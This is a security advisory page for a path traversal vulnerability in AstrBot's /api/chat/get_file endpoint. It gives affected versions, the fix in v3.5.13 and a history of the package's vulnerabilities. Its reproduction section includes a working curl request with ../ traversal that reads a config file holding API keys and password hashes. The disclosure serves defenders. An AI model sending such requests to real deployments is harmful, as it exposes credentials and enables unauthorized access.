High

AstrBot Has Path Traversal Vulnerability in /api/chat/get_file

  • Disclosed: 04.06.2025
  • Updated: 11.10.2026 15:17

Impact

This vulnerability may lead to:

  • Information disclosure, such as API keys for LLM providers, account passwords, and other sensitive data.

Reproduce

Follow these steps to set up a test environment for reproducing the vulnerability:

  1. Install dependencies and clone the repository:

    bash
    pip install uv
    git clone https://github.com/AstrBotDevs/AstrBot && cd AstrBot
    uv run main.py
  2. Alternatively, deploy the program via pip:

    bash
    mkdir astrbot && cd astrbot
    uvx astrbot init
    uvx astrbot run
  3. In another terminal, run the following command to exploit the vulnerability:

    bash
    curl -L http://0.0.0.0:6185/api/chat/get_file?filename=../../../data/cmd_config.json

This request will read the cmd_config.json config file, leading to the leakage of sensitive data such as LLM API keys, usernames, and password hashes (MD5).

Patches

The vulnerability has been addressed in Pull Request #1676 and is included in versions >= v3.5.13. All users are strongly encouraged to upgrade to v3.5.13 or later.

Workarounds

Users can edit the cmd_config.json file to disable the dashboard feature as a temporary workaround. However, it is strongly recommended to upgrade to version v3.5.13 or later as soon as possible to fully resolve this issue.

References

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) astrbot >= 3.4.4, < 3.5.13 3.5.13

References

CVSS score 7.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness (CWE)
CWE-23
Platform
Python (PyPI)
Package
astrbot
Disclosed
04.06.2025
Updated
11.10.2026 15:17

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-1196 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-cq37-g2qp-3c2p - CC BY 4.0

Vulnerability history: astrbot

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
8
First → latest
06.2025 06.2026
Without a fix
5
Exploited in attacks
0

Severity breakdown

  • Critical 1
  • High 3
  • Medium 1
  • Low 3

Disclosures per year

  1. 2025: 4
  2. 2026: 4
  1. High · 7.3 CVE-2026-7579 <= 4.16.0 no fix
  2. Low · 4.7 CVE-2026-6984 <= 4.22.1 no fix
  3. Critical · 9.8 CVE-2025-55449 < 3.5.18 3.5.18
  4. High CVE-2025-57698 <= 3.5.22 no fix
  5. AstrBot Has Path Traversal Vulnerability in /api/chat/get_file this entry
    High · 7.5 CVE-2025-48957 >= 3.4.4, < 3.5.13 3.5.13

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.